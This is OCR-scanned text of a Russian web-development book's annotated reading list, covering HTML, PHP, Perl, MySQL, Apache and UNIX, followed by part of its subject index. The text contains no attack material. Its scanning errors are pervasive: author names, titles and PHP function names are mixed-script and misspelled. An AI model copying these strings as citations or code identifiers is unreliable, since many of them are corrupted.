1222 Рекомендуемая литература ЗАМЕЧА НИЕ Перечисленные выше пункты касаются тол ько технологии разработки сай­ тов для связки Apache, РНР и MySQL, помимо кото рых существуют тех но­ логии ASP.NET, Java и CouldFusion, кото рые в данной книге не затрагива­ ются . Как уже упоминал ось, охватить все области Web-разработки одному челове­ ку невозможно, и, как правило, профессиональный Web-разработчик специа­ лизируется в нескольких наиболее интересных ему областях. Для создан ия сайта объединяется несколько разработчиков или даже организаций: CJ хост-провайдеры, сдающие в аренду свои серверы, берут на себя органи­ зацию хост-площадки, требующую глубоких знаний операционной сис­ те мы UNIX, адм инистрирование Web-сервера Apache, DN S-сервера bind и MySQL-сервера; CJ разработчики, специализирующиеся на Web-дизайне, уделяют большое внимание языку разметки HTML, XML, каскадным табл ицам стилей, ди­ зайну, инструментам работы с растровой (Photoshop) и векторной (з о Мах, CorelDRAW) графики, технологиям JavaScript и Flasll; CJ разработчики, обычно специализирующиеся на одном или нескольких серверных языках (РНР и Perl), Web-протоколах (НТТР, IMAP, SMTP, РТР и т. п.), базах данных (MySQL) и регулярных выражениях, занима­ ются созданием бизнес-логики саЙта. Такое условное разделение вовсе не значит, что, специализируясь в од ной области, разработчик может даже не знакомиться с соседними. Ниже приво­ дится список литературы, который, не претендуя на универсал ьность и объ­ екти вность, позволит сориентироваться в порядке и объеме знаний, необхо­ димых для профессиональной работы . ЗАМЕЧАНИЕ Охватить весь спектр представленной на рынке литературы мы не можем, более того, выпуск ряда книг со временем может быть прекращен, и чита­ тел ю потребуется самостоятел ьно подбирать аналоги . Однако список по­ зволит составить представление об объеме и характере знаний, которыми должен обладать Web-разработч ик, специал изирующий ся на серверных языках программирования, то есть не занимающийся самостоятел ьной разработкой Web-дизайна и адм инистрированием серверов, однако пред­ ставляющий соседние области и способный к переквалификации. Книги в области программирования делятся на два типа: последовател ьные, излагающие материал от простого к сложному, и рецептурные, предлагаю-
Рекомендуемая литература 1223 щие ценные советы , раздел ы в которых, как правило, не зависят друг от дру­ га и читать которые можно в произвольном порядке . В приводимом ниже списке такие книги будут помечены отдел ьно. СОВЕТ Если вы тол ько начинаете изучать технологию, ориентируйтесь на книгу объемом 400-600 страниц; книга, содержащая 1000-1 200 страниц, больше подходит в том случ ае, когда вы уже знакомы с технологией и хотите де­ тал ьно в ней разобраться , в противном случае велика вероятность "за­ хлебнуться" , не изучив книгу до конца. Важно понимать, что техническая литература, в отличие от художественной, более насыщена информацией. Поэтому нельзя просто пропустить нескол ько стран иц текста или приступать к следующей гл аве не до конца понимая ранее изложенный материал. Возможно, одну и ту же главу придется прочитать несколько раз, а саму книгу отложить на пол года. Есл и разработч ик утвер­ ждает, что на изучение технологии или языка программирования у него ушло пару недель - он либо знает язык очень поверхностно, либо изучил большое кол ичество языков до это го, поэтому многие сложные моменты оказал ись проработаны заранее. Чудес не бывает: любое искусство требует упорной работы и длительной практики. Об этом не любят вспоминать, когда цел ь дости гнута, поэтому у начинающего програм м иста может сложиться оши­ бочное впечатление, что он то пчется на месте, в то время как все вокруг бук­ вально за пару недель способны к освоению приведенных выше технологий. HTML , XML , CSS, JavaScript и F/ash Для разработчика бизнес-логики не требуется экспертное знание языка раз­ метки HTML, XML, каскадных табл иц стилей и кл иентского языка JavaS cript. Однако знакомство с данными технологиями крайне желател ьно, поскольку они описывают основы предметной области : сайт можно постро­ ить без использования РНР, однако без HTML и CSS создать более или менее приличный сайт просто не удастся. В. В . Мержевuч. HTML и CSS на nРШlерах. - СПб. : БХВ-Пе mербур г, 2005. - 488 с. Изучение языка разметки HTML в отрыве от каскадных табл иц стилей CSS в современных условиях нерационально. Представленная книга является идеаль­ ным введением в HTМL, CSS, а также описывает их взаимодействие. Книга
1224 Рекомендуемая литература прекрасно сочетает в себе последовател ьное изложение от простого к сложно­ му и множество советов, которые можно сразу применить на практике . Электронная документация по HTML Книги явля ются своеобразным ком ментарием к официальной документации (как ко мментарии к уголовному или гражданскому кодексам). Как и любой ко мментарий, книги позволяют читател ям разобраться в технологии быстрее, чем если бы они пользовались электронной документацией на английском языке, то есть, приобретая книгу, читател ь экономит время в обмен на день­ ги. Тем не менее электронной документацией не следует пренебрегать, осо­ бенно если вы знакомы с технологией, но вам требуется справочник для бы­ строго поиска. ЗАМЕЧА НИЕ Знание английского языка не указывается в ка честве необходимого для Web-разработчика, од нако позволяет значител ьно повысить ко нкуренто­ спосо бность . Документация появляется в первую очередь на английском языке, часть ее вообще не переводится на национальные языки , перево­ дится с опозданием или не в полном объеме. Есл и у вас установлена одна из версий Мiсrоsоft Office, вы можете найти СНМ-справочник (в его имени будет присутствовать подстрока 11tl11 l) по HTML и DHTML в его справочных файлах в директории Рюgrаl11 Files. На­ пример, на ко мпьютере авторов установлен Мiсrоsоft ОШсе ХР и файл назы­ вается htl11 ltag . cllln . э. Ме Йер. CSS - каскадн ые таблицы стилей. Подробное ру ководство, 2-е uзд. -Пер. сангл. - СПб. : СШlвол-ПлIOС, 2006. - 576 с. Книга представляет полное изложение каскадных таблиц стилей вплоть до спецификации CSS2.1 с комментар иями, позволяющими составить представ­ ление о возможностях, реализованных в современных брауз ерах. Книга чита­ ется легко, однако требует предварительного знако мства с HTML. Ч. Валентайн, К. Минник. XНTML : Пер. с англ. - м.: Из дательский дом "В ильямс ", 2001. - 480 с. На смену HTML должен прийти язык разметки XHTML, так Web­ приложения для браузеров мобильных устройств (сотовые телефоны, КПК) уже сегодня разрабатываются с использованием этого языка разметки . Так получилось, что помимо функций структурирования документов HTML стал выполнять и оформител ьские задачи. Для того чтобы разделить структуру и оформление документов, консорциумом W3C были введены язык разметки
Рекомендуемая литература 1225 XML и каскадн ые табл ицы стилей CSS, при помощи которых можно оформить ХМL-код. Язык XML настолько гибок, что позволяет самостоятел ьно опреде­ лить нужный ХМL-формат путем разработки своего собственного словаря . В настоящий момент уже разработано огромное число словарей XML, позво­ ляющих описывать любую информацию - от химических реакций (CML, Cllemical Markup Language) до финансовых (OFX, Ореп Fil1al1cial Excl1al1ge). По сравнению с HTМL XML является более гибким форматом; повсеместного применения XML еще не получил, но это лишь вопрос времени. Н. Питц-Моул тис, Ч. Кирк. XМL : Пер. с англ. - СПб. : БХВ-Петербург, 2001. - 736с. Пол ное и последовательное изложение языка разметки XML. Д. Гу дман. Ja vaScript и DHTML . Сборник рецептов. Для nр офессиона­ лов. - СПб. : Питер, 2004. - 528 с. Книга представляет множество рецептов дл я создания динам ических сайтов с использованием кл иентских технологий. Последовательное изложение языка программирования JavaScript в книге отсутствует, однако охваты ваются практи чески все области его применения. Д. Гу дман, М. Морр иСОIl. Ja vaScript. Библия пользователя, 5-е юд. - Пер. с англ. -м.: 000 "и. Д. Вильямс ", 2006. - 1184 с. Приводится полное и последо вател ьное изложение JavaScript и DHTML. Большое внимание уделяется различиям в реализации JavaScript в современ­ ных брауз ерах. Электронная документация ПО Ja vaScript Точно так же, как и в случае HTML, в документаци и к Мiсrоsоft Office мож­ но обнаружить СИМ-описание для версии JavaScript, реализованной в Il1ter­ net Exp lorer. У авторов дан ный файл называется jscript5 .chm. За документа­ цией по JavaScript, реализованному в движке Mozilla, следует обратиться к сайту http://ww w . mozilla.org. Р. Рейнхардm, С. Дау д. Ма сготе(Па Flasll 8. Библия пользователя: Пер . с англ. -м.: "И. д. Вильямс ", 2006. - 1328 с. В книге приводится подробное и последовательное изложение основ работы в среде Macromedia Flash и создание Flаsh-роликов. К. Му к. Action$cript для Flasll мх. Подробное ру ководство. - Пер . с англ. - СП б . : Сшtвол-Пл юс, 2004. -11 20 с. В технологии програМlVlирования Flash используется язык программирования АсtiопSсгiрt. Данная книга представляет одно из полных его описаний.
1226 Рекомендуемая литература РНР и Рег/ Для работы приложения на стороне сервера используются серверные языки про­ грам мирования, такие как РНР и Perl . Perl здесь рассматривается не случайно : разработчики РНР заимствовали из него множество концепций, и для более пол­ ного изучения РНР зачастую неплохо познакомиться с Perl, так как многие поло­ жения в документации по РНР описаны туманно или не описаны вообще . РНР разрабатывался как более удобное средство для создания Web­ приложений, и это удал ось на славу - он стал одним из самых быстрых средств разработки. Разработчики РНР преследовали цел ь создать не конте к­ стн ый язык с эл ементами лингвистического языка, как в случае Perl, а язык для быстрой разработки со строгим синтаксисом . Приложение, созданное одним разработчиком, должно было без проблем подхватываться другим, то есть он планировался как прагматический язык. В свою очередь Perl соз­ давался как произведе ние искусства - это целая философия. Его последова­ тел и зачастую фанатичны (дай им волю, они и операционную систему разра­ ботают на Perl), пишут стихи на Perl, устр аивают ко нкурсы на самую непонятную программу, то есть это достаточно романтический язык - в нем множество соблазнов для программиста, которые мешают создан ию про­ мышленного кода. Это язык для души. Perl более красив, чем РНР, но менее удобен для бизнеса и Web . М. Ку знецов, и. Сuмдянов. Самоучитель РНР 5. - 2-е изд. перераб. и доn. - СПб. : БХВ-Петербург, 2006. - 6 08 с. Приводится последовател ьное изложение языка, идеально подходящее для знакомства с РНР и его расширениями. Она начинает нашу серию, посвя­ щенную Web-разработке . Д. В. Котеров, А. Ф. Костарев. РНР 5. - СПб.: БХВ-Петербург, 2005. - 1120 с. Последовательное и полное изложение языка, достойное внимания . Подроб­ но рассматривается технология "клиент-сервер" и взаимодействие с XML. К сожалению, часть книги, посвященная объектно-ориентированному про­ граммированию в РНР, несколько устарела. М. Ку знецов, И. Сuмдянов. Объектно-ориентированное nр ограммирова­ ние на РНР. - СПб. : БХВ-Петербур г, 2007. - 608 с. Подробно рассматриваются объектно-ориентированные возможности РНР версии 5.1. Приводится множество примеров реального использования объ­ ектных возможностей при построении Web-приложениЙ.
Рекомендуемая литература 1227 м Кузнецов, И. Сuмдянов, С. Голышев. РНР 5 на npuмepax. - СПб. : БХВ­ Пе тербург, 2005. - 576 е. В отличие от предыдущей книги, рассматр иваются не гото вые примеры, а сборник коротких и эффективных приемов, взятых из реальной практи ки : загрузка ку рса валют, создание динамического изображения, вывод случ ай­ ного изображения из массива, создан ие РОР-документа и т. п. Книга носит рецептурный характер, и ее гл авы могут читаться в произвол ьном порядке . Несмотря на то что книга не является последовательным изложением языка програм мирования РНР, в ней затрагиваются все основные моменты его ис­ пользования. д. Скляр, А. Тр ахтенберг. РНР. Сборник pel(enmoB. 2-е uзд. - Пер. е англ. - СПб. : БХВ-Петербург, 2007. - 736 е. Книга с изложением полезных рецептов, гл авы можно читать в произвольном порядке. М Ку знецов, И. Сuмдянов. Гол оволомки на РНР для хакера. - СПб. : БХВ­ Петербур г, 2006. - 464 е. Книга представляет собой задач ник по Web-технологиям с уклоном в защиту Web-приложений от злоумышленников . Цел ь книги - помочь Web­ разработч ику научиться самостоятел ьно обнаруживать и устранять уяз вимо­ сти в своем коде . М Ф. Нuза.мутдинов. Та ктика защиты и нападен ия на We b-nрилО:JICе­ ния. - СП б . : БХВ-Петербург, 2005. - 432 е. Введение в проблему безопасн ости Web-приложений, созданных с испол ьзо­ ванием РНР и My SQL. Электронная документация по РНР Электронную документацию по РНР можно загрузить с официального сайта http://www.php.net; здесь же находится перевод части документации на рус­ ский язык. Однако последним следует пол ьзоваться крайне осторожно, так как информация на русском языке сил ьно устарела. Э. Ле ки- Том nеон, А. Коу в, С. Но вицки, Х АЙде-Гу дман. РНР 5 для nр офее­ еионалов: Пер. е англ. - М:000 "и.Д. Вильяме", 2006. - 608е. Книга содержит описание паттернов объектно-ориентированного програм­ мирования и применение их к РНР. К сожалению, в ней приведено описание объектно-ориентированного подхода дЛЯ РНР 4, затрагивая ООП РНР 5 лишь на двух страницах, посвященных описанию нововведений. Книга читается тяжело.
1228 Рекомендуемая литер атура л Уолл, Т. Кр истиансен, Д. Орвант. Пр огр ам.л-шроваuие uа Perl. - Пер. с англ. - СПб. : Символ-Плюс, 2004. -11 52 с. Знаменитая Camel-book ("Верблюжья книга") от создателя языка Лар­ ри Уолл а - замечател ьное введе ние в язык, с юмором раскрывающее тонко­ сти и философию языка Perl . Книга представляет собой последовател ь ное изложение языка от простого к сложному. т. Кр истиансен, Н. Торкингтои. Perl. Сборник рецептов. Дл я nр офессио­ налов, 2-е uзд. -Пер. с англ. - СПб. : Питер, 2004. - 928 с. Книга носит рецептурный характер и является своеобразным дополнением книги Ларри Уолла "Прогр аммирование на Perl ". СУБД MyS QL Ни один современный сайт не может обойтись без использования баз дан­ ных. В Российской Федерации широкое распространение получила СУБД MySQL, высту пающая стандартом де-факто дл я российских хост­ провайдеров и Web-разработчиков. ЗАМЕЧАНИЕ Н есмотря на то , что существует ста ндарт языка запросов SQL, каждая СУБД реализует свой собственный диалект, иногда значител ьно отличаю­ щийся от диалекто в других СУБД. Поэтому процесс изучения SQL сводится сначала к изучению общих основ SQL, а затем диалекта конкретной базы данных. Дж. Гр офф, П. Вайнберг. Энциклопедия SQL, 3-е uзд. - СПб. : Питер, 2003. - 896 с. Добротное и последо вательное изложение языка запросов SQL с указанием особенносте й отдельных диалектов. Очень ясное и прозрачное изложе ние, снабженное большим количеством поясняющих схем и рисунков. М. Ку знецов, И. Сшtдянов. Сам оучитель My SQL 5. - СПб. : БХВ­ Петербург, 2005. - 56 0 с. Введение в диалект SQL дЛЯ СУБД MySQL 5.0 . Изложе ние ведется последо­ вател ьно от простого к сложному. Затрагиваются нововведения MySQL 5.0: хранимые процедуры и функции, представления, триггеры, курсоры и ин­ формационная схема.
Рекомендуемая литература 1229 м. Ку знеl(ов, И. Симдянов. My SQL 5. - СПб. : БХВ-Петербург, 2006. - 1024 с. Последо вател ьное и пол ное изложение MySQL 5.0 . В отличие от книги " С а­ моучител ь MySQL 5" подробно рассматривается ад министр ирование MySQL и взаимодействие с языками програм мирования С++, Perl и РНР под опера­ ционными системами Windows и UNIX. п. Дю буа. My SQL, 2-е uзд. -м.: Вильямс, 2007. - 1168 с. Изложение MySQL, на которое стоит обратить внимание. Очень подробно описывается ад министрирование СУБД в условиях UNIХ-подобной операци­ онной системы. К сожалению, книга лишь вскользь описывает нововведения MySQL 4. 1 и 5.0. М. Ку знецов, И. Сuмдянов. My SQL на np uмepax. - СПб. : БХВ -Петер бур г, 2007. - 592 с. Книга посвящена MySQL версии 5.1 и помимо указанных выше нововведе­ ний затрагивает планировщик заданий и сегментирован ие. Большое внима­ ние уделяется объектно-ориентированной библиотеке рllр_шуsq li. Книга но­ сит реце птурный характер, однако может использоваться в том числе и для последовател ьного изучения материала. П. Дюбуа. My SQL. Сборник рецептов. - Пер . с англ. - СПб. : Символ­ Пл юс, 2004. - 1056 с. Книга носит рецептурный характер и может читаться с любой гл авы, однако, как и указанная ранее книга этого же авто ра, описывает лишь MySQL вер­ сии 4.0. Электронная документация по My SQL В разделе официального сайта MySQL, посвященного разработч и кам http ://dev. mysql.com, можно найти ссылки на документацию в электронном формате, которая обновляется ежедневно. На этом же сайте присутствует и русскоязычный вариант документа ции, но тол ько дл я версии MySQL 4.0; для более поздних верс ий она доступна только на английском языке. ЗАМЕЧА НИЕ Неда вно ко мпания MySQL АВ выпустила перевод документации на русский язык в виде книг "MySQL. Руководство администратора: Пер. с англ. - М.: " И . Д. Вильяме", 2005. - 624 с." и "MySQL. Справочник по языку: Пер. с англ. - М .: "И . Д. Вильяме" , 2005. - 432 с" . Однако следует иметь в виду, что официальная документация, подготавл иваемая разработчиками, за­ частую просто не чита ема. Кн иги содержат зачастую совершенно несвязан-
1230 Рекомендуемая литератур а ные участки те кста , понять смысл которых можно тол ь ко в резул ьтате дл и ­ тел ьных э кспериментов. И х можно рекомендовать, если чтение английс кой документации у вас вызывает затруднение. Инте рнет и Web-сервер Apa che Web-приложения - это всегда распределенные приложения, в работе кото­ рых принимают участие множество серверов и клиентов. Для того чтобы создавать эффективные Web-приложения, необходи мо очень четко представ­ лять себе принципы работы Интер нет и его протоколов. Д. э. Камер. Сети TCP/lP. ТОМ 1. Пр инциnы, пр отоколы и структур а, 4-е юд. - Пер. сангл. - м,: "и.Д.Вильямс", 2003. - 880с. Прекрасное введение в историю и современное устройство Интернет. Под­ робно описывается физическая и логическая архитектура, протокол ы IP, ICMP, UDP и ТСР. к ' сожалению, мало внимания уделяется протокол ам при­ кладного уровня (НТТР, SMTP, FTP, IМAP и т. п .), которые наиболее инте­ ресны для Web-разработчика. Б. Кр ишнамур ти, Дж. Рексфорд. We b-nротоколы. Теор ия и nр актика. - м,: ЗА О "Издательство БИНОМ ", 2002. - 592 с. Описание протокола НТТР и приемов работы с ним. Книга не очень эффек­ тивная и содержит мало примеров, однако из бумажных книг по протоколу НТТР посовето вать практически нечего. Книга читается тяжело. Электронная документация ПО пр отоколам Ин тернета Все протокол ы и спецификации Интернета описываются в так называемых RFС-документах, получить которые можно с большого количества сайтов, стоит лишь ввести в поисковую систему аббревиатуру RFC . Практически все RFС-документы на английском языке, и тол ько часть из них переведена на русский. п. Альбитц, К. Лu. DNS и BIND: Пер. с англ. - СПб. : Символ-Пл юс, 2004. - 688 с. Подробно описывается система доменных имен Интернета и ко нфигурирова­ ние сервера BIND. М, Дж. Кабир. Сер вер Apac/le 2. Библия пользователя: Пер с англ. - м,: "и. Д. Вильямс ", 2002. - 672 с. Прекрасное изложение конфигурирования Web-сервера Apache. К сожале­ нию, не затрагивает последнюю версию Apache 2.2, а также ряд новых моду-
Рекомендуемая литер атур а 1231 лей, позволяющих более эффективно управлять сервером в условиях вирту­ ал ьного хости нга. Однако, несмотря на все недостатки, представляет собой одно из лучших описаний Web-сервера Apache на сегодня шний день. Регулярн ые выражения Регулярные выражения являются специализированным языком програм ми­ рования, позволяющим манипул ировать текстом. В свободном виде регул яр­ ные выражения практически не испол ьзуются и применяются совместно с другими языками программирования. Регулярные выражения можно найти в JavaScript, РНР, Perl, MySQL, Apacl1e и многих других язы ках программиро­ вания и технологиях. Будучи специализированным языком програм мирова­ ния, регулярные выражения имеют множество диалектов, поэтому в каждом конкретном случае потребуется исследо вание возможностей данной реализа­ ции регулярных выражений. ЗАМЕЧАНИЕ Существует две развитых реализации регулярных выражений: регулярные выражения Peгl , реализованные и развиваемые в рамках языка Peгl , и ре­ гулярные выражения POSIX, реал изуемые в рамках ста ндарта переноси­ мых операционных систем. Более удобными и распространенными являют­ ся регулярные выражения Peгl . Дж. Фр идл. Регулярные выраженuя, 2-е uзд. - СЛб. : Литер, 2003. - 464 с. Книга представляет собой единственное наиболее полное издание, посвя­ щенное регулярным выражениям . Несмотря на то, что в ней не описываются регулярные выражения применительно к РНР, это не мешает восприятию и эффективному применению полученных знаний на практике . Рассматрива­ ются все распространенные диалекты регуля рных выражений. Издател ьство "Питер" приняло решение не переиздавать книгу, однако, к радости ее по­ клонников, она выложена издател ьством в свободный доступ. Ее также мож­ но загрузить с нашего сайта по ссылке http ://www.softtime.ru/info/fridl.php. UN/Х-подоб н ые операцио нные системы UNIХ-подобные операционные системы, в частности Lil1ux и FreeB SD, ин­ те нсивно используются для построения сети Интернет. Только 20% серверов работают под управлением операционных систем, не являющихся UNIX-
1232 Рекомендуемая литература подобными. С другой стороны, кл иентские маш ины в основном работают под управлением операционной системы Windows . В результате часто воз ни­ кают конфл икты, когда Web-приложение, разработанное в условиях Windows, перестает работать в UNIX. Наскол ько досконально следует изу­ чать UNIХ-подобные операционные системы, является делом Web­ разработч и ка, однако иметь представление о них просто необходимо. Д. Те Йнсли. Linux и UNIX: nрограм.м иР О8аllие в s/lell. Ру ководство разра­ ботчика: Пер . С англ. - К. : Из дательская группа BHV, 2001. - 464 с. Добротное изложение стандартного командного интерпретато ра UNIX ­ basll . Подробно рассматривается система прав доступа UNIX и создание соб­ ственных скриптов. Э. Немеет, Г. Сн айдер, С. Сибасс, Т. Хе Йн. UNIX: ру ководство систеМllого администратора. Для nрофессионалов. - СПб. : Питер. К. : Из датель­ ская группа BHV, 2003. - 925 с. Дан ная книга является настоящей энциклопедией UN IX, рассказывающая о тонкостях работы системного ад министратора этой операционной системы . Повествование опирается на операционные системы SoIaris, HP-UX, Red Hat и FreeB SD. Книга прекрасно подойдет как профессионалу, так и новичку, который захочет окунуться в мир UNIX. Изложение материала идет от про­ стого к сложному, рассматриваются процессы пуска и останова системы, привилегии, управление процессами, файловая система и т. д. Не обделены вниманием и сетевые настройки: DN S, BIND, sепdшаiI, NIS, Apache, Usепеt, FTP-сервер. Книга читается легко и интересно, приводится множество реаль­ ных примеров из практики системного ад министрирования. Э. С. РеЙмонд. Искусство nр ограм.м ир ован uя для UNIX: Пер . сангл. - м.: "и. Д. Вильямс ", 2005. - 544 с. Данная книга описывает философию програм мирования под UNIX. В ней вы не найдете листингов, описания системных вызовов, но зато сможете понять дух операционной системы, принципы построения интерфейсов и архитекту­ ры UNIX-приложениЙ. В книге затрагиваются вопросы истории развития легендарной операционной системы и раскры ваются секреты ее долгожител ьства. Вы узнаете , почему ООП более популярен в Windows, чем в UNIX, а таюке сможете познако­ миться с кул ьтурой и фол ьклором UNIX. Если вы никогда не стал кивались с операционной системой UNIX - это именно та книга, с которой нужно начать знакомство. Вы получите ясное представл ение о том, куда следует идти и что делать, и вообще нужен вам UNIX или нет. Если вы хорошо знаете данную операционную систему, иметь
Рекомендуемая литератур а 1233 эту книгу вам просто необходимо : создававшаяся в течение 5 лет, она содер­ жит мудрость проектирования под UNIX, накопленную UNIХ-сообществом на протяжении 30 лет. В. Костромин. Самоучитель Linu.x для пользователя. - СПб. : БХВ­ Петербург, 2003. - 672 с. Добротный самоучитель по операционной систе ме Linux, последовател ьно вводящий читателя в обсуждаемую предметную область . А. Стаханов. Linu.x. - СПб. : БХВ-Петербург, 2003. - 912 с. Полное и последовательное изложение основ операционной системы LiШIХ. Подробно описывается установка, конфигурирование и работа в операцион­ ной системе Linux. с. л СЮl овская. Команды Linu.x. Спр аво чник, 3-е uзд., перераб. и доn. - СПб. : 000 "Д иаСофmIOП", 2004. - 8 48 с. Операционная система Linux имеет подробную электронную документацию, вызвать которую можно при помощи команды шап. Однако зачастую уд об­ нее воспользоваться бумажным справочником, особенно если у вас вызывает затруднения английский язык. Методоло гия про граммирования Программирование - это не тол ько код, спецификации, операционные сис­ темы, это еще и методология . Существуют книги, которые не связаны непо­ средственно ни с одним ЯЗ bIКОМ программирован ия, но которые помогают чувствовать направление и основные тенденции развития индустрии. М. Ку знецов, И. Сu.мдянов. Програм м ир ование: ступени успешной кар ье­ ры. - СПб. : БХВ-Петербург, 2006. - 3 20 с. Процесс програм мирования очень увлекателен сам по себе . Однако начи­ нающим программистам следует иметь в виду, что если создаваемый ими код не выдерживает конкуренции ил и его не удается продать, рано или поздно придется уходить из любимой области . Данная книга посвящена тому, как утвердиться и успешно развиваться в сфере программирования. С. В. Жарков. Shareware: nро фессиональная разр аботка и nр одви:жение пр ограмм. - СПб. : БХВ -Петербур г, 2002. -32 0 с. Прекрасное руководство продвижения программных продуктов в условиях российской действител ьности и современного Запада. Книга написана с юмором и читается очень легко .
1234 Рекомендуемая литература с Ма кконнел л . Совершенный код. Ма стер-класс: Пер . с англ . - м.: Из ­ дательско-торговы й дом "Русская Редакция "; СПб. : Питер, 2005. - 896 с. Это настоящая библия разработчика, содержащая самое полное собрание эффективных методик современного программирования, от правил именова­ ния переменных и функций и принципов структурного программирования до объектно-ориентированного программирования, которая поможет вам дос­ тичь высшего мастерства в создании эффективного, читабел ьного и легкосо­ провождаемого кода. Книга не содержит воды и недомолвок - вы получите настолько подробные сведения, что никогда не сможете использовать их в полном объеме. Автору удалось добиться практически невозможного : не привязываясь к конкретному языку программирования или платформе, доне­ сти до читателей опыт, накопленный за 40 лет существования программиро­ вания. Приводимые им рекомендации не голословны, а подтверждаются ис­ следованиями специалистов в области Сошрutеr Science, а таюке отчетами таких известн ых корпораций, как ШМ и Мiсrо sоft. Более того, в отличие от всех подобных книг, вы не найдете философских рассуждений, которые не­ возможно реализовать на практике : все описываем ые в книге приемы взяты из реальных проектов и реального кода. Ф. Бру кс. Мифический человеко-месяц ши как создаются nр огра.м.мные системы. - Пер . сангл. - СПб. : Символ-Плюс, 1999. - 3 04 с. Классическое произведение по проектированию больших програм мных про­ дукто в, прочитать которое - дол г любого програм м иста. Пожалуй, ни на одну книгу не ссылаются так часто и ни одна книга не описывает более чест­ но реальные сложности управления программными проектам и.
Пред метный указател ь $ $this 15 А Advanced Encryption Standard (AES) 186 с chcp 1189 Cookies 239 cron 1205 н НТТР-заголовок 215 1 IP-aдpec 201, 202 м Message-Digest Algorithm (MD5) 187 р РНР: mysql_affected_rowsO 208 mysql_change_userO 209 MYSQL_CLIENT_COMPRESS 205 mysql_client_encodingO 209 MYSQL_CLIENT_IGNORE_SPACE 205 MYSQL_CLIENT_INTERACTIVE 205 MYSQL_CLIENT_SSL 205 mysql_closeO 206, 209 mysql_connectO 205, 209 mysql_data_s eekO 209 mysql_db _nameO 209 mysql_db_queryO 209 mysql_errnoO 209 mysql_errorO 206, 209 mysql_escape_stringO 209 mysql_fet ch_arrayO 206, 210 mysqljetch_assocO 206, 210 mysql_fetch_fi eldO 21О mysqljetch_lengthsO 210 mysql_fetch_obj ectO 206, 210 mysqljetch_rowO 206, 210 mysql_field_flagsO 210 mysql_field_lenO 210 mysql_field_nameO 210 mysql_field_seekO 211 mysql_field_tab IeO 21 1 mysql_field_typeO 21 1 mysqljree_resultO 21 1
1236 mysql�et_clientjnfoO 21 1 mysql�et_host_infoO 21 1 mуsql�еt-IJгоtо_iпfоО 21 1 mysql�et_server_infoO 21 1 mysql_i nfoO 211 mysql_insert_idO 21 1 mysql_l i st_d bsO 212 mysql_l i st_fieldsO 212 mysq1_l ist-IJ roсеssеsО 212 mysql_l ist_tabIesO 212 mysql_num_fieldsO 212 mуsql_Пllm_гоwsО 212 mysql_pconnectO 212 mysql-IJiпgО 212 mysql_queryO 206, 212 mysql_real_escape_stringO 212 mysql_restlltO 206, 212 mysql_select_dbO 205, 212 mysql_statO 213 mysql_tab IenameO 213 mysql_thread_idO 213 mysql_unbuffe red_queryO 213 А Абстрактные типы дан ных 7 Аксессор 30 Атрибут: action 374 AUTO_INCREMENT 21 1 checked 449 cols 417 disabIed 417 enctype 374 maxlength 387 method 375 multiple 443 пате 375, 387, 417 readonly 417 rows 417 selected 443 size 387, 443 target 375 wrap 417 Предметный указатель дескриптор результирующей табл ицы 204 дескриптор соеди нения 204 s Secure Hash Algorithm (SHA 1) 186 SQL-инъекция 345 Structured Query Language 100 u Universal Unique Identifier (UUID) 202 х ХSS-инъекция 359 Б База данных: information schema 106 mysql l06 реляционная 102, 104 система управления 100 создание 105 удаление 107 Блокировка: получение 201 про верка 20 1 снятие 202 в Внутренняя функция MySQL CONCATO 356
Предме ТНblЙ указа тель г Генератор пароля 542 д Дамп 1198 Деструктор 28 Директива 1182 AddDefau ltCharset 1146 allow_urlJореп 1158 CustomLog 1143 display_errors 1154 еггor_героrtiпg 1154 ErrorLog 1143 еxtепsiоп 1158 ехtепsiоп dir 1159 file_u plo.;d s 115 7 magic_quotes�pc 356 mаgiс_quоtеs_гuпtimе 1157 mах_ехесutiоп_t imе 1155 memory_l imit 249, 1156 NameVirtualНost 1142 оutрut_Ьuffегiпg 1155 post_max _s ize 1156 геgistег_lопg_аггауs 1156 ServerName 1143 sеssiоп.сооkiе_lifеtimе 1158 sеssiоп.sаvе--раth 1158 shоrt_о реп_tаg 1155 upload_max_fiIesize 304, 1157 upload_tmp_dir 300 Директория: закрытие 31 1 ко пирование 313 открытие 310 удаление 315 чтение 310 з Запрос, выборка данных 138 1237 и Индекс, FULLТЕХТ, многостолбцовый 756 Индексы: PRIMARY КЕУ 137 UNIQUE 137 внешний кл юч 105 логические кл ючи 104 первичный ключ 104, 127 суррогатные кл ючи 104 суррогатн ый кл юч 104 Инкапсуляция 8, 12 Инструкция: include 10 include_once 10 require 10 requi re_once 10 Интерполяция 18 Интерфейс 60 наследование 63 Исключение 92 к Кавычки магические 357 Катал ог данных 106 Класс 8 Exception 545 Ехсерti опМеmЬег 379 ЕхсерtiопМуSQL 381 ЕхсерtiопОЬjесt 380 field 382 field_ch eckbox 439 field_datetime 469 field_fiIe 455 fiеld_h iddеп 428 fiеld_h iddеп_iпt 432 field--paragraph 465 field--password 407 field_rad io 449 field_s elect 444 field_text 387
1238 field_text_email 416 field_text_english 41 1 field text int 412 field textarea 417 field title 460 fo rm 392 pager 477 pager_dir 494 pager_fiIe 482 pager_fiIe_search 488 pager_mysql 499 базовый 47 производный 47 Кодировка 108, 181, 1188 Коды состояния 218 Команда DELIMIТER 1193 Комментарий в конфигурационном файле 1182 Константа: _CLASS_ 70 FILE 70 - - _ FUNCTION_ 70 LINE 70 - - _METHOD_ 70 Конструктор 23 Конструкция: AGAINST 757, 758 ALL 154, 156 AS 147, 193 AUTO_INCREMENT 132 BETWEEN 144 catch 92 DEFAULT 126 DEFAULT CHARACTER SET 108 DISTINCT 153, 154, 190, 196, 197 DISTINCTROW 153 GROUP ВУ 154, 188, 195 IGNORE 132 IN 145 IN BOOLEAN MODE 75 8 INTERVAL 129 issetO 32 LIMIT 135, 152 МАТСН 757 NOT BETWEEN 144 NOT IN 145 Предме ТНbJЙ ука затель ORDER ВУ 148, 193, 197 ORDER ВУ 000 ASC 151 ORDERВУ"о DESC 148 SEPARATOR 197 SET 136 throw 92 try 92 unset() 29, 34, 247 VALUES 133, 137 WHERE 135, 136, 140, 146, 195, 757 Контролируемый блок 92 м Магические кавычки 357 Массив: $]ILES 300, 455 $_аЕТ 325 $]OST 325 Межсайто вый скриптинг 359 Метод : _ autoloadO 20, 30 _саIlО 21,35 _c loneO 21, 78 _ constructO 20, 24 _destructO 20, 28 �etO 20, 30 _ issetO 20, 32 _setO 20, 30 _ set_stateO 21, 43 _sleepO 21, 82 _toStringO 21, 38 _unsetO 21, 33 _wakeu p0 21 абстрактный 58 динамический 35 класса 9 перегрузка 52 статический 68 п Наследование 8, 47
